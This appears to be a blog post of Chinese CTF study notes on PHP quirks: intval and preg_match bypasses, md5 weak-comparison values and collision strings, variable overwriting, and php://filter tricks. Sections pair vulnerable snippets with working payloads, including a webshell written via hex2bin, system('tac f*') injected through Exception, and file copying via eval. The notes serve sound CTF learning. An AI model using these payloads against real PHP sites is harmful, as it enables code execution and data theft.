php语言特性
1.preg_mach(有栈溢出)
preg_match当检测的变量是数组的时候会报错并返回0。并且一般只匹配一行,当结尾有M时提示是多行匹配
%09,换行截断
intval 转换数组类型时 不关心数组中的内容 只判断数组中有没有元素,若是单独一个变量则是获取变量整数值
空数组 返回 0
非空数组 返回 1
?num[]=1
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo "flag";
}
}
如上,传入数组,导致false,进入下一个if语句
正则表达式修饰符
i
不区分(ignore)大小写
m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。
s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg b\n bs
A
强制从目标字符串开头匹配;
D
如果使用$限制结尾字符,则不允许结尾有换行;
e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
正则回溯最大次数上限绕过preg_match
利用正则回溯最大次数上限绕过preg_match_限制正则表达式的回溯次数-CSDN博客
2.intval
intval($var,$base),其中var必填,base可选,这里base=0,则表示根据var开始的数字决定使用的进制: 0x或0X开头使用十六进制,0开头使用八进制,否则使用十进制。还可以用来获取整数值。
- $base:转化所使用的进制。
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
还有科学计数法
intval('4476.0')===4476 小数点
intval('+4476.0')===4476 正负号
intval('4476e0')===4476 科学计数法
intval('0x117c')===4476 16进制
intval('010574')===4476 8进制
intval(' 010574')===4476 8进制+空格
#附上,个人发现其实在数字后加上一个字符会导致传入的参数被认为不是4476,
intval('010574E')===4476 末尾加上字符
3.highlight_file
/var/www/html/flag.php 绝对路径
./flag.php 相对路径
php://filter/resource=flag.php php伪协议
4.md5()
php中hash比较缺陷
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的。payload:a[]=1&b[]=2
md5弱比较,使用了强制类型转换后不再接受数组
$a=(string)$a;
$b=(string)$b;
if( ($a!==$b) && (md5($a)==md5($b)) ){
echo $flag;
}
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。
payload: a=QNKCDZO&b=240610708
MD5弱碰撞
0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
md5强碰撞
$a=(string)$a;
$b=(string)$b;
if( ($a!==$b) && (md5($a)===md5($b)) ){
echo $flag;
}
#这时候需要找到两个真正的md5值相同数据
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
5.变量覆盖三目运算符
附加:三目运算符
#布尔表达式?表达式1:表达式2
#如果布尔表达式为真则返回表达式1否则返回表达式2
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
这里get穿的参数被多次覆盖
6.php弱比较(附加arry,file_put_contents)
附加:arry(),arry_push(),file_put_contents()
<?php
$cars=array("Volvo","BMW","Toyota");
echo "I like " . $cars[0] . ", " . $cars[1] . " and " . $cars[2] . ".";
?>
array_push() #函数向数组尾部插入一个或多个元素
file_put_contents() #函数把一个字符串写入文件中。
int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )
参数 | 描述 |
---|---|
filename | 必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。 |
data | 必需。规定要写入文件的数据。可以是字符串、数组或数据流。 |
flags | 可选。规定如何打开/写入文件。可能的值:FILE_USE_INCLUDE_PATHFILE_APPENDLOCK_EX |
context | 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。 |
关于弱类型
in_array延用了php中的==
#字符串和数字,PHP的字符串和数字比较时,会将字符串先转化成数字类型在进行比较。
var_dump('a' == 0); //bool(true)
var_dump('1a' == 1); //bool(true)
var_dump('12a' == 1); //bool(false)
#布尔和任意值,布尔值true和任意字符串都相等,除了0。
var_dump(True == 0); //bool(false)
var_dump(True == 'False'); //bool(true)
var_dump(True == 2); //bool(true)
#hash值与字符串0,因为当hash开头为0e后全为数字的话,进行比较时就会将其当做科学计数法来计算,用计算出的结果来进行比较。
$str1 = "a";
echo md5($str1); //0cc175b9c0f1b6a831c399e269772661
var_dump(md5($str1) == '0'); //bool(false)
---------------------------------------------------------
$str2 = "s224534898e";
echo md5($str2); //0e420233178946742799316739797882
var_dump(md5($str2) == '0'); //bool(true)
---------------------------------------------------------
$str3 = 'a1b2edaced';
echo md5($str3); //0e45ea817f33691a3dd1f46af81166c4bool
var_dump(md5($str3) == '0'); //bool(false)
---------------------------------------------------------
var_dump('0e111111111111' == '0'); //bool(true)
7.&&与and、||与or运算优先级
在PHP中,&&与and都表示逻辑与,||与or都表示逻辑或,并且它们都是短路运算符。而它们的区别在于运算的优先级不同。
<?php
$t1=true and false;
$t2=true && false;
var_dump($t1,$t2);
?>
--------------------------
true false
在上面的代码中$t1的值为true,$t2的值为false。因为运算符and、=、&&的优先级为&&>=>and,所以在执行第一行时,会先将true赋值给t1,false被忽略。而第二行代码会先进行&&运算,然后将运算的结果false,赋值给t2。
同样对于||和or。运算符or、=、||的优先级为||>=>or。下面代码运行后,$t1的值为false,$2的值为true。
<?php
$t1=false or true;
$t2=false || true;
var_dump($t1,$t2);
?>
---------------------------
false true
- PHP中的逻辑“与”运算有两种形式:and 和 &&,同样“或”运算也有 or 和 || 两种形式。
- 如果是单独两个表达式参加的运算,两种形式的结果完全相同
- 但两种形式的逻辑运算符优先级不同,这四个符号的优先级从高到低分别是: &&、||、AND、OR。
8.反射类ReflectionClass的使用
<?php
class A{
public static $flag="flag{123123123}";
const PI=3.14;
static function hello(){
echo "hello</br>";
}
}
$a=new ReflectionClass('A');
var_dump($a->getConstants()); 获取一组常量
输出
array(1) {
["PI"]=>
float(3.14)
}
var_dump($a->getName()); 获取类名
输出
string(1) "A"
var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
["flag"]=>
string(15) "flag{123123123}"
}
var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
[0]=>
object(ReflectionMethod)#2 (2) {
["name"]=>
string(5) "hello"
["class"]=>
string(1) "A"
}
}
9.is_numeric
is_numeric在php5的环境中,是可以识别十六进制的,也就是说,如果传入v2=0x66也是可以识别为数字的。
var_dump(is_numeric("0x66")); #php5的环境下返回true php7返回false
10.substr()
substr(string,sta rt,length) #语法
参数 | 描述 |
---|---|
string | 必需。规定要返回其中一部分的字符串。 |
start | 必需。规定在字符串的何处开始。正数 - 在字符串的指定位置开始负数 - 在从字符串结尾开始的指定位置开始0 - 在字符串中的第一个字符处开始 |
length | 可选。规定被返回字符串的长度。默认是直到字符串的结尾。正数 - 从 start 参数所在的位置返回的长度负数 - 从字符串末端返回的长度 |
11.call_user_func
相当于调用一个函数,并且传递一个参数,甚至于可以用来new一个类
call_user_func — 把第一个参数作为回调函数调用
12.hex2bin函数的使用
hex2bin将16进制转换成字符串,hex2bin如果参数带0x反而会报错
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
这道题目在php5环境下可用这个
<?php eval($_POST[1]);?>
0x3c3f706870206576616c28245f504f53545b315d293b3f3e
但是php7不认识0x,得另想办法
虽然文件内容不好控制,但是可以利用伪协议将内容进行编码转换。
所以如果能找到一条php语句经过base64编码,在转换为16进制之后全部都是数字不就可以通过了吗?
高级:做不出来直接他山之石
$a="xxx";
$b=base64_encode($a);
$c=bin2hex($b);
如果$c全部都是纯数字就可以了。
$a='<?=`cat *`;';
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //这里直接用去掉=的base64
输出 5044383959474e6864434171594473
#带e的话会被认为是科学计数法,可以通过is_numeric检测。
#大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。
ps:get了base64小知识点
payload
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin
这里还能用伪协议去包含我是没想到的。。。
13.hash比较缺陷
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
14.php变量覆盖plus
附加:这时候什么意思
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}
#这里将所有GET请求参数转化为变量,并将值赋给这些变量。如果GET参数的键名为error,脚本会直接停止执行。
题解
<?php
error_reporting(0);
highlight_file(__FILE__);
include 'flag.php';
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
题解一:
通过die($suces)
payload:suces=flag&flag=
此时$scues=flag{test123};$_POST['flag']=NULL;$flag=NULL,满足($_POST['flag']==$flag)
题解二:
通过die($error)输出
/?suces=flag error:suces
15.parse_str函数
parse_str() 函数把查询字符串解析到变量中。
parse_str(<
i>string,array)
参数 | 描述 |
---|---|
string | 必需。规定要解析的字符串。 |
array | 可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。 |
示例
$a='q=123&p=456';
parse_str($a,$b);
echo $b['q']; //输出123
echo $b['p']; //输出456
16.erge %00截断
首先正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测
17.strrev() 字符串反转
18.php异常类
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
先来看下这个正则表达式/[a-zA-Z]+/
匹配至少有一个字母的字符串
所以我们只要让new后面有个类不报错以后,就可以随意构造了。我们随便找个php中的内置类并且可以直接echo输出的就可以了。
举两个例子
payload:
v1=Exception();system('tac f*');//&v2=a
v1=ReflectionClass&v2=system('tac f*')
19.FilesystemIterator类的使用,涉及到类时
PHP使用FilesystemIterator迭代器遍历目录
$iterator = new FilesystemIterator('.'); // 创建当前目录的迭代器
while ($iterator->valid()) { // 检测迭代器是否到底了
echo $iterator->getFilename(), ':', $iterator->getCTime(), PHP_EOL;
$iterator->next(); // 游标往后移动
}
20.getcwd
php中的getcwd()可以取得当前工作目录
21.PHP 的函数具有词法作用域
在函数内部无法调用外部的变量,除非进行传参。
例子:
可以使用GLOBALS
var_dump($GLOBALS)
这回返回全局变量和值
22.php变量名特殊字符转换
在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了
例子:
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
payload:CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
23.$_SERVER
$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等信息的 array。这个数组中的条目由 Web 服务器创建,所以不能保证每个 Web 服务器都提供全部条目;服务器可能会忽略一些,或者提供此处没有列举出来的其它内容
$_SERVER['argv'] #传递给该脚本的参数。
传入的参数是存放在数组中,我们可以通过控制数组来传入我们想要的语句
例子:
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
payload:
GET:?php://filter/read=convert.base64-encode/resource=flag.php POST:CTF_SHOW=a&CTF[SHOW.COM=b&fun=include($a[0])
a[0]存放伪协议的内容然后通过include包含并读出
其余的:
$_SERVER['PHP_SELF'] #当前正在执行脚本的文件名,与 document root相关。
$_SERVER['argv'] #传递给该脚本的参数。(argument value)
$_SERVER['argc'] #包含传递给程序的命令行参数的个数(如果运行在命令行模式)。(argument count)
$_SERVER['GATEWAY_INTERFACE'] #服务器使用的 CGI 规范的版本。例如,“CGI/1.1”。
$_SERVER['SERVER_NAME'] #当前运行脚本所在服务器主机的名称。
$_SERVER['SERVER_SOFTWARE'] #服务器标识的字串,在响应请求时的头部中给出。
$_SERVER['SERVER_PROTOCOL'] #请求页面时通信协议的名称和版本。例如,“HTTP/1.0”。
$_SERVER['REQUEST_METHOD'] #访问页面时的请求方法。例如:“GET”、“HEAD”,“POST”,“PUT”。
$_SERVER['QUERY_STRING'] #查询(query)的字符串。
$_SERVER['DOCUMENT_ROOT'] #当前运行脚本所在的文档根目录。在服务器配置文件中定义。
$_SERVER['HTTP_ACCEPT'] #当前请求的 Accept: 头部的内容。
$_SERVER['HTTP_ACCEPT_CHARSET'] #当前请求的 Accept-Charset: 头部的内容。例如:“iso-8859-1,*,utf-8”。
$_SERVER['HTTP_ACCEPT_ENCODING'] #当前请求的 Accept-Encoding: 头部的内容。例如:“gzip”。
$_SERVER['HTTP_ACCEPT_LANGUAGE']#当前请求的 Accept-Language: 头部的内容。例如:“en”。
$_SERVER['HTTP_CONNECTION'] #当前请求的 Connection: 头部的内容。例如:“Keep-Alive”。
$_SERVER['HTTP_HOST'] #当前请求的 Host: 头部的内容。
$_SERVER['HTTP_REFERER'] #链接到当前页面的前一页面的 URL 地址。(referer,推荐人)
$_SERVER['HTTP_USER_AGENT'] #当前请求的 User_Agent: 头部的内容。
$_SERVER['HTTPS'] — 如果通过https访问,则被设为一个非空的值(on),否则返回off
$_SERVER['REMOTE_ADDR'] #正在浏览当前页面用户的 IP 地址。
$_SERVER['REMOTE_HOST'] #正在浏览当前页面用户的主机名。
$_SERVER['REMOTE_PORT'] #用户连接到服务器时所使用的端口。
$_SERVER['SCRIPT_FILENAME'] #当前执行脚本的绝对路径名。
$_SERVER['SERVER_ADMIN'] #管理员信息
$_SERVER['SERVER_PORT'] #服务器所使用的端口
$_SERVER['SERVER_SIGNATURE'] #包含服务器版本和虚拟主机名的字符串。
$_SERVER['PATH_TRANSLATED'] #当前脚本所在文件系统(不是文档根目录)的基本路径。
$_SERVER['SCRIPT_NAME'] #包含当前脚本的路径。这在页面需要指向自己时非常有用。
$_SERVER['REQUEST_URI'] #访问此页面所需的 URI。例如,“/index.html”。
$_SERVER['PHP_AUTH_USER'] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的用户名。
$_SERVER['PHP_AUTH_PW'] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的密码。
$_SERVER['AUTH_TYPE'] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是认证的类型。
$_SERVER[”HTTP_X_FORWARDED_FOR”] #透过代理服务器取得客户端的真实 IP 地址
$_SERVER['HTTP_VIA'] #代理服务器IP
$_SERVER['HTTP_CLIENT_IP'] #客户端IP
24.$_SERVER['QUERY_STRING']
在网页模式下,$_SERVER['QUERY_STRING'] 包含了从 URL 中获取的查询字符串。它被直接传递给了 assert 函数。 这样的代码结构允许通过修改 URL 中的查询字符串来执行任意的 PHP 代码。因为 assert 函数用于执行字符串中的 PHP 代码。
我们是在网页模式下的,注意重点:$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
而 $_SERVER[‘QUERY_STRING’]
是获取查询语句,也就是?后面的语句
25.stripos()
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
stripos(string,find,start)
参数 | 描述 |
---|---|
string | 必需。规定要搜索的字符串。 |
find | 必需。规定要查找的字符。 |
start | 可选。规定开始搜索的位置。 |
返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
注释:字符串位置从 0 开始,不是从 1 开始。
26.readfile()
readfile() 函数输出一个文件。
该函数读入一个文件并写入到输出缓冲。
若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。
readfile(filename,include_path,context)
参数 | 描述 |
---|---|
filename | 必需。规定要读取的文件。 |
include_path | 可选。如果也想在 include_path 中搜索文件,可以使用该参数并将其设为 true。 |
context | 可选。规定文件句柄的环境。Context 是可以修改流的行为的一套选项。 |
可以配合,目录穿越
27.extract
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
第二个参数 type 用于指定当某个变量已经存在,而数组中又有同名元素时,extract() 函数如何对待这样的冲突。
该函数返回成功导入到符号表中的变量数目。
28.自身值覆盖
自身的值在被eval时候直接引用自身
?F=$F
+;cp+flag.php+1.txt
29.exec()
30.file_get_contents
在用php写接口的时候,通常会将请求的数据通过json的形式发送到指定的请求地址处,此时的file_get_contents(‘php://input’)
主要是用来获取请求的原始数据,注意,此时数据的提交方式应为POST,并且enctype不等于”multipart/form-data”。
在项目应用中,如摄像头拍照,上传保存,就可以用到php://input。客户端拍照后,把图片流传送到服务端,服务端使用file_get_getcontents(‘php://input’)就能获取到图片流,然后把图片流保存到一个文件,这个文件就是图片了。
评论0
暂时没有评论